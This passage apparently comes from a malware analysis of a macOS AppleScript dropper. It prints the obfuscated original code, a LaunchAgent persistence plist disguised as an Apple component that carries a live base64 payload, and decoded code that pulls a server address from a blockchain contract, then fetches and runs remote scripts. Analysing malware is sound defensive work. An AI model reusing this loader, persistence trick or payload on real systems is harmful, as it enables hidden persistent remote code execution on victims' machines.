77, 68, 85, 112, 73, 67, 89}) & (string id {103, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120, 77, 68, 107, 112, 75, 83, 107, 112, 75, 83, 65, 109, 73, 67, 103, 111, 75})) & ((string id {67, 103, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 119, 77, 83, 107}) & (string id {103, 74, 105, 65, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86})))) & ((((string id {121, 73, 71, 108, 107, 73, 68, 77, 121, 75, 83, 107, 103, 74, 105, 65, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 48, 79, 83, 107, 103, 74, 105, 65, 111, 89, 50, 104, 104}) & (string id {99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 85, 122, 75, 83, 107, 112, 73, 67, 89, 103, 75, 67, 103, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 77, 121, 75, 83, 65, 109, 73, 67, 104})) & ((string id {66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 65, 48, 75, 83, 107, 103, 74, 105, 65, 111, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67}) & (string id {65, 120, 77, 84, 89, 112, 73, 67, 89, 103, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120, 77, 84, 89, 112, 75, 83, 107, 112}))) & (((string id {73, 67, 89, 103, 75, 67, 103, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86}) & (string id {121, 73, 71, 108, 107, 73, 68, 69, 120, 77, 105, 107, 103, 74, 105, 65, 105, 99, 121, 73, 112, 73, 67, 89, 103, 75, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 78, 84, 103})) & ("pICYgIi8vIikpKSkgJiBfX3I4Rml0eGtHdCAmIChzdHJpbmcgaWQgezMyLCA" & (string id {48, 78, 83, 119, 103, 79, 68, 103, 115, 73, 68, 77, 121, 76, 67, 65, 52, 77, 67, 119, 103, 78})))))))) & (((((((string id {122, 107, 115, 73, 68, 103, 122, 76, 67, 65, 52, 78, 67, 119, 103, 77, 122, 73, 115, 73, 68, 81, 49, 76, 67, 65, 51, 77, 105, 119, 103, 77, 122, 73, 115, 73, 68, 77, 53, 76, 67, 65, 50, 78, 121, 119, 103, 77, 84, 69, 120, 76, 67, 65, 120, 77, 84, 65, 115, 73, 68, 69, 120}) & "NiwgMTAxLCAxMTAsIDExNiwgNDUsI") & ((string id {68, 103, 48, 76, 67, 65, 120, 77, 106, 69, 115, 73, 68, 69, 120, 77, 105, 119, 103, 77, 84, 65, 120, 76, 67, 65, 49, 79, 67, 119, 103, 77, 122, 73, 115, 73, 68, 107, 51, 76, 67}) & (string id {65, 120, 77, 84, 73, 115, 73, 68, 69, 120, 77, 105, 119, 103, 77, 84, 65, 52, 76, 67, 65, 120, 77, 68, 85, 115, 73, 68, 107, 53, 76, 67, 65, 53, 78, 121, 119, 103, 77, 84, 69}))) & (((string id {50, 76, 67, 65, 120, 77, 68, 85, 115, 73, 68, 69, 120, 77, 83, 119, 103, 77, 84, 69, 119, 76, 67, 65, 48, 78, 121, 119, 103, 77}) & "TA2LCAxMTUsIDExMSwgMTEwLCAzOSwgMzIsIDQ1LCA0NSwgMTAwLCA5Ny") & ((string id {119, 103, 77, 84, 69, 50, 76, 67, 65, 53, 78, 121, 119, 103, 77, 122, 73, 115, 73, 68, 77, 53, 102, 83, 107, 103, 74, 105, 66, 102, 88, 49, 100}) & (string id {76, 78, 49, 74, 90, 81, 84, 100, 121, 73, 67, 89, 103, 75, 67, 103, 111, 99, 51, 82, 121, 97, 87, 53, 110, 73, 71})))) & ((((string id {108, 107, 73, 72, 115, 122, 79, 83, 119, 103, 78, 68, 69, 115, 73, 68}) & (string id {85, 53, 76, 67, 65, 122, 77, 105, 119, 103, 77, 84, 65, 48, 76, 67, 65, 50, 77, 83, 119, 103, 77, 122})) & ((string id {89, 115, 73, 68, 81, 119, 76, 67, 65, 120, 77, 68, 69, 115, 73, 68, 107, 53, 76, 67, 65, 120, 77, 68, 81, 115, 73, 68, 69, 120}) & (string id {77, 83, 119, 103, 77, 122, 73, 115, 73, 68, 77, 48, 76, 67, 65, 122, 78, 105, 119, 103, 77, 84, 69, 48, 76, 67, 65, 122, 78, 67, 119, 103, 77, 122, 73, 115, 73, 68, 69, 121, 78, 67, 119, 103, 77, 122, 73, 115, 73, 68, 69}))) & (((string id {120, 78, 83, 119, 103, 77, 84, 65, 120, 76, 67, 65, 120, 77, 68, 65, 115, 73, 68, 77, 121, 76, 67, 65, 48, 78, 83, 119, 103, 77, 84, 69, 119, 76, 67, 65, 122, 77, 105, 119, 103, 77, 122, 108, 57, 75, 83, 65, 109, 73, 67, 104, 122, 100, 72, 74, 112, 98, 109, 99, 103, 97, 87, 81}) & (string id {103, 101, 122, 69, 120, 78, 83, 119, 103, 78, 68, 99, 115, 73, 68, 81, 50, 76, 67, 65, 48, 77, 105, 119, 103, 77, 122, 81, 115})) & ("IDExNCwgMTAxLCAxMT" & "UsIDExNywgMTA4LCAxMT")))) & (((((string id {89, 115, 73, 68, 77, 48, 76, 67, 65, 49, 79, 67, 119, 103, 77, 122, 81, 115, 73, 68, 81}) & (string id {52, 76, 67, 65, 120, 77, 106, 65, 115, 73, 68, 107, 121, 76, 67, 65, 48, 77, 67, 119, 103, 79, 84, 69, 115})) & ("IDk0LCAzNCwgOTMsIDQyLCA5MiwgNDEsIDM0LCA0NiwgNDIsIDQ" & "3LCA5MiwgNDksIDQ3LCAxMTIsIDM5LCA0MSwgNTksIDMyLCA5MSwgM")) & (("zIsIDQ1LCAxMjIsIDMyLCAzNCwgMzYsIDEwNC" & (string id {119, 103, 77, 122, 81, 115, 73, 68, 77, 121, 76, 67, 65, 53, 77, 121, 119, 103, 77, 122, 104, 57, 75, 83, 107, 103, 74, 105, 65, 111, 75, 72, 78, 48, 99, 109})) & ((string id {108, 117, 90, 121, 66, 112, 90, 67, 66, 55, 77, 122, 103, 115, 73, 68, 69, 119, 77, 83, 119, 103, 77, 84, 73, 119, 76, 67, 65, 120, 77, 68, 85, 115}) & "IDExNiwgMzIsIDQ5LCA1OSwgMzIsIDEwOCwgNjE"))) & ((("sIDM2LCA0MCwgMTEyLCAxMTQsIDEwNSwgMTEwLCAxMTYsIDEwMiwgMz" & "IsIDM0LCAzNywgMTA") & ((string id {119, 76, 67, 65, 122, 78, 67, 119, 103, 77, 122, 73, 115, 73, 68, 77, 48, 76, 67, 65, 48, 79, 67, 119, 103, 77, 84, 73, 119, 76, 67, 65, 122, 78, 105, 119, 103, 77, 84, 73, 122, 76, 67, 65, 120}) & "MDQsIDU4LCA1NCwgNTIsIDU4LCA")) & (((string id {49, 78, 67, 119, 103, 78, 84, 73, 115, 73, 68, 69, 121, 78, 83, 119, 103, 77}) & (string id {122, 81, 115, 73, 68, 81, 120, 76, 67, 65, 49, 79, 83, 119, 103, 77, 122, 73, 115, 73, 68, 69, 119, 77, 83, 119, 103, 79, 84, 107, 115, 73, 68, 69, 119, 78, 72, 48, 112, 73, 67, 89, 103, 75, 72, 78, 48})) & ((string id {99, 109, 108, 117, 90, 121, 66, 112, 90, 67, 66, 55, 77, 84, 69, 120, 76, 67, 65, 122}) & "MiwgMzQsIDM2LCAxMjMsIDEwNCwgNTgsIDQ5LCA1MCwgNTYsIDU4LCAzNiwgN"))))) & ((((("DAsIDQwLCAxMDgsIDQyLCA1MCwgNDEsIDQxL" & (string id {67, 65, 120, 77, 106, 85, 115, 73, 68, 77, 48, 76, 67, 65, 120, 77, 106, 81, 115, 73, 68, 69})) & ((string id {121, 77, 67, 119, 103, 77, 84, 73, 119, 76, 67, 65, 120, 77, 68, 65, 115, 73, 68, 77, 121, 76, 67, 65, 48, 78, 83, 119, 103, 77, 84, 69, 48, 76, 67, 65, 122, 77, 105, 119, 103, 78}) & (string id {68, 85, 115, 73, 68, 69, 120, 77, 110, 48, 112, 75, 83, 107, 75, 67, 81, 108, 112, 90, 105, 66, 102, 88, 49, 66, 114}))) & (((string id {99, 107, 107, 120, 89, 87, 82, 110, 82, 85, 89, 53, 73, 71, 108, 122, 73, 71, 53, 118, 100, 67, 66, 108, 99, 88, 86, 104, 98, 67, 65, 105, 73, 105, 66, 48, 97, 71, 86, 117, 73, 71, 86, 52, 97, 88, 81, 103, 99, 109, 86, 119, 90, 87, 70, 48}) & (string id {67, 103, 108, 108, 98, 109, 81, 103, 100, 72, 74, 53, 67, 109, 86, 117, 90, 67, 66, 121, 90, 88, 66, 108, 89, 88, 81, 75, 67, 109, 108, 109, 73, 70, 57, 102, 85, 71, 116, 121, 83, 84, 70, 104, 90, 71, 100, 70, 82, 106, 107, 103, 97, 88, 77, 103})) & ((string id {98, 109, 57, 48, 73, 71, 86, 120, 100, 87, 70, 115, 73, 67, 73, 105, 73, 72, 82, 111, 90, 87, 52, 75, 67, 88, 78, 108, 100, 67, 66, 102, 88, 50, 70, 69, 97, 50, 108, 69, 101, 72, 81, 103, 100, 71, 56, 103, 75, 67, 74, 106, 100, 88, 74, 115, 73, 67, 48}) & (string id {116, 89, 50, 57, 117, 98, 109, 86, 106, 100, 67, 49, 48, 97, 87, 49, 108, 98, 51, 86})))) & ((((string id {48, 73, 68, 85, 103, 76, 83, 49, 116, 89, 88, 103, 116, 100, 71, 108, 116, 90}) & "SAyMCAtLXJldHJ5IDMgLS1y") & ((string id {90, 88, 81, 105, 73, 67, 89, 103, 73, 110, 74, 53, 76, 87, 82, 108, 98, 71, 70, 53, 73, 68, 85}) & "gIikgJiAoc3RyaW5nIGlkIHs0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4")) & (((string id {78, 67, 119, 103, 77, 122, 73, 115, 73, 68, 69, 119, 78, 67, 119, 103, 77, 84, 69, 50, 76, 67, 65, 120, 77, 84, 89, 115, 73, 68, 69, 120, 77}) & (string id {105, 119, 103, 77, 84, 69, 49, 76, 67, 65, 49, 79, 67, 119, 103, 78, 68, 99, 115, 73, 68, 81, 51, 102, 83, 107, 103, 74, 105, 66, 120, 100, 87, 57, 48, 90, 87, 81, 103, 90, 109, 57, 121, 98, 83, 66, 118, 90, 105, 66, 102, 88, 49, 66, 114, 99})) & ("kkxYWRnRUY5ICYgIiAiICY" & (string id {103, 73, 105, 49, 107, 73, 67, 73, 103, 74, 105, 66, 120, 100, 87, 57, 48, 90, 87, 81, 103, 90, 109, 57, 121, 98, 83, 66, 118, 90, 105, 65, 111, 75, 67, 103, 105, 100, 72}))))) & (((((string id {104, 112, 73, 105, 65, 109, 73, 67, 74, 107, 73, 105, 107, 103, 74, 105, 65, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 89, 120, 75, 83}) & "kgJiBfUTRIQVNOakRlcyAmICgoKChBU0NJSSBjaGFyY") & ("WN0ZXIgMzgpICYgKEFTQ" & "0lJIGNoYXJhY3RlciA5OCkpICYgKChBU0NJSSB")) & (((string id {106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 65, 53, 75, 83, 65, 109, 73, 67, 74, 118, 73}) & (string id {105, 107, 112, 73, 67, 89, 103, 75, 67, 103, 105, 90, 67, 73, 103, 74, 105, 65, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107})) & ("IDExNykpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJS" & (string id {83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 65, 120, 75, 83, 107, 112, 75, 83, 107, 103, 74, 105, 65, 111, 99, 51, 82, 121, 97, 87, 53, 110, 73, 71, 108, 107, 73, 72, 115, 122, 77, 105, 119, 103, 77, 84})))) & ((("I0LCAzMiwgMTExLCAxMTUsIDk3LCAxMTUsIDk5LCAxMTQsIDEwN" & (string id {83, 119, 103, 77, 84, 69, 121, 76, 67, 65, 120, 77, 84, 90, 57, 75, 81, 111, 74, 90, 71, 56, 103, 99, 50, 104, 108, 98, 71, 119, 103, 99, 50, 78, 121, 97, 88, 66, 48, 73, 70, 57, 102})) & ((string id {89, 85, 82, 114, 97, 85, 82, 52, 100, 65, 112, 108, 98, 109, 81, 103, 97, 87, 89}) & "=' | base64 -d | osascript</string")) & ((string id {62, 10, 32, 32, 32, 32, 60, 47, 97, 114, 114, 97, 121, 62, 10, 32, 32, 60, 47, 100, 105, 99, 116, 62, 10, 60, 47, 112, 108, 105, 115, 116, 62, 10, 69, 78, 68, 95, 80, 76, 73, 83, 84}) & (string id {10})))))))
do shell script ((string id {108, 97, 117, 110, 99, 104, 99, 116, 108, 32, 117, 110, 108, 111, 97, 100, 32, 126, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97}) & (string id {117, 110, 99, 104, 65, 103, 101, 110, 116, 115, 47, 99, 111, 109, 46, 65, 112, 112, 108, 101, 46, 102, 122, 121, 108, 105, 104, 99, 115, 104, 104, 111, 106, 118, 109, 110, 114, 46, 112, 108, 105, 115, 116, 32, 50, 62, 47, 100, 101, 118, 47, 110, 117, 108, 108}))
do shell script ((string id {108, 97, 117, 110, 99, 104, 99, 116, 108, 32, 108, 111, 97, 100, 32, 126, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97, 117, 110, 99, 104, 65, 103, 101, 110, 116, 115, 47, 99, 111, 109, 46, 65, 112, 112, 108, 101, 46, 102, 122, 121, 108, 105, 104, 99, 115, 104, 104, 111, 106, 118, 109, 110}) & (string id {114, 46, 112, 108, 105, 115, 116}))

13.3 Layers 1 and 2 decoded, without the useless parts

The decoy variables are removed and all constants are resolved. Nothing else is changed.

Layer 1: shell commands run by the three do shell script

mkdir -p "$HOME/Library/LaunchAgents";
cat > "$HOME/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist" <<END_PLIST
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.Apple.fzylihcshhojvmnr</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>echo 'c2V0IF9fRTBwT0NOVkcgdG8gMjgwNS4yMzg4CnNldCBfX3c3RGp2RjNLIHRvICg2MSArIDUzNCkgKiA0CnByb3BlcnR5IF9fdVVqaWdvM3MgOiAiRmhlZHoyVVIwQiIKc2V0IF9xNmw1Qk5vYiB0byA2NzgxOApwcm9wZXJ0eSBfZkxYOEFyOGViNSA6ICJXQnRxVmUzOERaMlVWWEwiCnNldCBfX1R5ZWd3Wm5vS21VIHRvICJqTXNBemdEWUQwSyIKc2V0IF9fZU81cm9PN1ptWmcgdG8geygoKCgoQVNDSUkgY2hhcmFjdGVyIDExMikgJiAibyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSkpICYgKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAoY2hhcmFjdGVyIGlkIDExMSkpICYgKChjaGFyYWN0ZXIgaWQgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpKSkpICYgKCgoKGNoYXJhY3RlciBpZCAxMDApICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmICgicGMiICYgKGNoYXJhY3RlciBpZCA0NikpKSAmICgoKGNoYXJhY3RlciBpZCAxMTEpICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAzKSkpKSwgKCgoKCgicCIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChjaGFyYWN0ZXIgaWQgMTIxKSkpICYgKCgiZyIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKCJuIiAmICIucCIpKSkgJiAoKCgoQVNDSUkgY2hhcmFjdGVyIDExNykgJiAiYiIpICYgKCJsIiAmICJpYyIpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTApICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgiZCIgJiAoY2hhcmFjdGVyIGlkIDEwMSkpKSkpICYgKCIuY28iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDkpKSksICgoKCgoKGNoYXJhY3RlciBpZCAxMTIpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgibCIgJiAoY2hhcmFjdGVyIGlkIDEyMSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMDMpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgibiIgJiAoY2hhcmFjdGVyIGlkIDQ1KSkpKSAmICgoKChjaGFyYWN0ZXIgaWQgMTA5KSAmICJhIikgJiAoImkiICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCA0NikpKSkpICYgKCgoKChjaGFyYWN0ZXIgaWQgMTAzKSAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExNikgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTkpICYgImEiKSAmICgoY2hhcmFjdGVyIGlkIDEyMSkgJiAoY2hhcmFjdGVyIGlkIDQ2KSkpKSAmICgoKCJ0IiAmICJhdCIpICYgKCJ1bS4iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDUpKSkgJiAoY2hhcmFjdGVyIGlkIDExMSkpKSksICgoKCgoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgImUiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExMCkgJiAiZCIpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMDEpICYgInIiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDEwOCkgJiAieS4iKSkpICYgKCgoKGNoYXJhY3RlciBpZCAxMTQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTIpKSAmICgoY2hhcmFjdGVyIGlkIDk5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTEyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDgpICYgKGNoYXJhY3RlciBpZCAxMjEpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAibyIpICYgKCJuIiAmIChjaGFyYWN0ZXIgaWQgNDYpKSkgJiAoKChjaGFyYWN0ZXIgaWQgOTkpICYgKGNoYXJhY3RlciBpZCAxMTEpKSAmICgoY2hhcmFjdGVyIGlkIDEwOSkgJiAoY2hhcmFjdGVyIGlkIDEwOSkpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTE3KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEwKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDUpICYgInR5IikpKSl9CnNldCBfX1dLN1JZQTdyIHRvICgoKChzdHJpbmcgaWQgezEyMywgMzQsIDEwNiwgMTE1LCAxMTEsIDExMCwgMTE0LCAxMTIsIDk5LCAzNCwgNTgsIDM0LCA1MCwgNDYsIDQ4LCAzNCwgNDQsIDM0LCAxMDksIDEwMSwgMTE2LCAxMDQsIDExMSwgMTAwLCAzNCwgNTgsIDM0LCAxMDEsIDExNiwgMTA0LCA5NSwgOTksIDk3LCAxMDgsIDEwOCwgMzQsIDQ0LCAzNCwgMTEyLCA5NywgMTE0LCA5NywgMTA5LCAxMTUsIDM0LCA1OCwgOTF9KSAmIChzdHJpbmcgaWQgezEyMywgMzQsIDExNiwgMTExLCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA2NSwgNTEsIDk3LCA1NCwgNDgsIDUxLCA3MCwgNTYsIDk3LCA1MiwgNTMsIDUyLCA5NywgNTcsIDk5LCA1N30pKSAmICgoc3RyaW5nIGlkIHs0OCwgNTMsIDk4LCA1MiwgOTksIDUzLCA1NSwgNTcsIDY2LCA5OCwgNTUsIDUwLCA1NCwgNTAsIDU2LCA3MCwgNTUsIDY3fSkgJiAoc3RyaW5nIGlkIHs0OSwgNTMsIDY3LCA1MCwgNjUsIDQ4LCAzNCwgNDQsIDM0LCAxMDAsIDk3LCAxMTYsIDk3LCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA1MCwgNTQsIDU2LCA1NCwgMTAxLCA5OSwgMTAxLCA5NywgMzQsIDEyNSwgNDQsIDM0LCAxMDgsIDk3LCAxMTYsIDEwMSwgMTE1LCAxMTYsIDM0LCA5MywgNDQsIDM0fSkpKSAmIChzdHJpbmcgaWQgezEwNSwgMTAwLCAzNCwgNTgsIDQ5LCAxMjV9KSkKCnNldCBfUTRIQVNOakRlcyB0byAoc3RyaW5nIGlkIHsxMDEsIDk5LCA5OCwgOTksIDk3LCA1NiwgNTEsIDk5LCA0OSwgNTIsIDU0LCA1MSwgNTIsIDU3LCAxMDIsIDU0LCA1NSwgNDksIDUzLCA1NCwgOTgsIDUxLCA1MSwgMTAxLCA5OSwgOTksIDUxLCAxMDEsIDQ5LCA5NywgMTAxLCAxMDJ9KQoKcmVwZWF0IHdpdGggX19yOEZpdHhrR3QgaW4gX19lTzVyb083Wm1aZwoJdHJ5CgkJc2V0IF9fUGtySTFhZGdFRjkgdG8gZG8gc2hlbGwgc2NyaXB0ICgoKCgoInIiICYgIj0iKSAmICgoY2hhcmFjdGVyIGlkIDM2KSAmIChjaGFyYWN0ZXIgaWQgNDApKSkgJiAoKCJjdSIgJiAicmwiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChjaGFyYWN0ZXIgaWQgNDUpKSkpICYgKCgoKEFTQ0lJIGNoYXJhY3RlciAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikpICYgKChjaGFyYWN0ZXIgaWQgNDUpICYgIi1tIikpICYgKCgiYXgtIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSkgJiAoKGNoYXJhY3RlciBpZCAxMDUpICYgKGNoYXJhY3RlciBpZCAxMDkpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMSkgJiAoY2hhcmFjdGVyIGlkIDMyKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciA0OSkgJiAoY2hhcmFjdGVyIGlkIDUzKSkpICYgKCgoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA0KSkgJiAoKGNoYXJhY3RlciBpZCAxMTYpICYgKGNoYXJhY3RlciBpZCAxMTYpKSkpICYgKCgoY2hhcmFjdGVyIGlkIDExMikgJiAicyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgNTgpICYgIi8vIikpKSkgJiBfX3I4Rml0eGtHdCAmIChzdHJpbmcgaWQgezMyLCA0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDQ1LCA3MiwgMzIsIDM5LCA2NywgMTExLCAxMTAsIDExNiwgMTAxLCAxMTAsIDExNiwgNDUsIDg0LCAxMjEsIDExMiwgMTAxLCA1OCwgMzIsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDUsIDk5LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCA0NywgMTA2LCAxMTUsIDExMSwgMTEwLCAzOSwgMzIsIDQ1LCA0NSwgMTAwLCA5NywgMTE2LCA5NywgMzIsIDM5fSkgJiBfX1dLN1JZQTdyICYgKCgoc3RyaW5nIGlkIHszOSwgNDEsIDU5LCAzMiwgMTA0LCA2MSwgMzYsIDQwLCAxMDEsIDk5LCAxMDQsIDExMSwgMzIsIDM0LCAzNiwgMTE0LCAzNCwgMzIsIDEyNCwgMzIsIDExNSwgMTAxLCAxMDAsIDMyLCA0NSwgMTEwLCAzMiwgMzl9KSAmIChzdHJpbmcgaWQgezExNSwgNDcsIDQ2LCA0MiwgMzQsIDExNCwgMTAxLCAxMTUsIDExNywgMTA4LCAxMTYsIDM0LCA1OCwgMzQsIDQ4LCAxMjAsIDkyLCA0MCwgOTEsIDk0LCAzNCwgOTMsIDQyLCA5MiwgNDEsIDM0LCA0NiwgNDIsIDQ3LCA5MiwgNDksIDQ3LCAxMTIsIDM5LCA0MSwgNTksIDMyLCA5MSwgMzIsIDQ1LCAxMjIsIDMyLCAzNCwgMzYsIDEwNCwgMzQsIDMyLCA5MywgMzh9KSkgJiAoKHN0cmluZyBpZCB7MzgsIDEwMSwgMTIwLCAxMDUsIDExNiwgMzIsIDQ5LCA1OSwgMzIsIDEwOCwgNjEsIDM2LCA0MCwgMTEyLCAxMTQsIDEwNSwgMTEwLCAxMTYsIDEwMiwgMzIsIDM0LCAzNywgMTAwLCAzNCwgMzIsIDM0LCA0OCwgMTIwLCAzNiwgMTIzLCAxMDQsIDU4LCA1NCwgNTIsIDU4LCA1NCwgNTIsIDEyNSwgMzQsIDQxLCA1OSwgMzIsIDEwMSwgOTksIDEwNH0pICYgKHN0cmluZyBpZCB7MTExLCAzMiwgMzQsIDM2LCAxMjMsIDEwNCwgNTgsIDQ5LCA1MCwgNTYsIDU4LCAzNiwgNDAsIDQwLCAxMDgsIDQyLCA1MCwgNDEsIDQxLCAxMjUsIDM0LCAxMjQsIDEyMCwgMTIwLCAxMDAsIDMyLCA0NSwgMTE0LCAzMiwgNDUsIDExMn0pKSkKCQlpZiBfX1BrckkxYWRnRUY5IGlzIG5vdCBlcXVhbCAiIiB0aGVuIGV4aXQgcmVwZWF0CgllbmQgdHJ5CmVuZCByZXBlYXQKCmlmIF9fUGtySTFhZGdFRjkgaXMgbm90IGVxdWFsICIiIHRoZW4KCXNldCBfX2FEa2lEeHQgdG8gKCJjdXJsIC0tY29ubmVjdC10aW1lb3V0IDUgLS1tYXgtdGltZSAyMCAtLXJldHJ5IDMgLS1yZXQiICYgInJ5LWRlbGF5IDUgIikgJiAoc3RyaW5nIGlkIHs0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDEwNCwgMTE2LCAxMTYsIDExMiwgMTE1LCA1OCwgNDcsIDQ3fSkgJiBxdW90ZWQgZm9ybSBvZiBfX1BrckkxYWRnRUY5ICYgIiAiICYgIi1kICIgJiBxdW90ZWQgZm9ybSBvZiAoKCgidHhpIiAmICJkIikgJiAoY2hhcmFjdGVyIGlkIDYxKSkgJiBfUTRIQVNOakRlcyAmICgoKChBU0NJSSBjaGFyYWN0ZXIgMzgpICYgKEFTQ0lJIGNoYXJhY3RlciA5OCkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA5KSAmICJvIikpICYgKCgiZCIgJiAoY2hhcmFjdGVyIGlkIDExNykpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkpKSkgJiAoc3RyaW5nIGlkIHszMiwgMTI0LCAzMiwgMTExLCAxMTUsIDk3LCAxMTUsIDk5LCAxMTQsIDEwNSwgMTEyLCAxMTZ9KQoJZG8gc2hlbGwgc2NyaXB0IF9fYURraUR4dAplbmQgaWY=' | base64 -d | osascript</string>
    </array>
  </dict>
</plist>
END_PLIST

launchctl unload ~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist 2>/dev/null
launchctl load ~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist

Layer 2: AppleScript hidden in base64 in the plist written by layer 1, run by the LaunchAgent

URLs are defanged:

set __eO5roO7ZmZg to {"polygon[.]drpc[.]org", "polygon[.]publicnode[.]com", "polygon-mainnet[.]gateway[.]tatum[.]io", "tenderly[.]rpc[.]polygon[.]community"}
set __WK7RYA7r to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"

set _Q4HASNjDes to "ecbca83c146349f67156b33ecc3e1aef"

repeat with __r8FitxkGt in __eO5roO7ZmZg
	try
		set __PkrI1adgEF9 to do shell script "r=$(curl -s --max-time 15 hxxps://" & __r8FitxkGt & " -X POST -H 'Content-Type: application/json' --data '" & __WK7RYA7r & "'); h=$(echo \"$r\" | sed -n 's/.*\"result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ]&&exit 1; l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\"|xxd -r -p"
		if __PkrI1adgEF9 is not equal "" then exit repeat
	end try
end repeat

if __PkrI1adgEF9 is not equal "" then
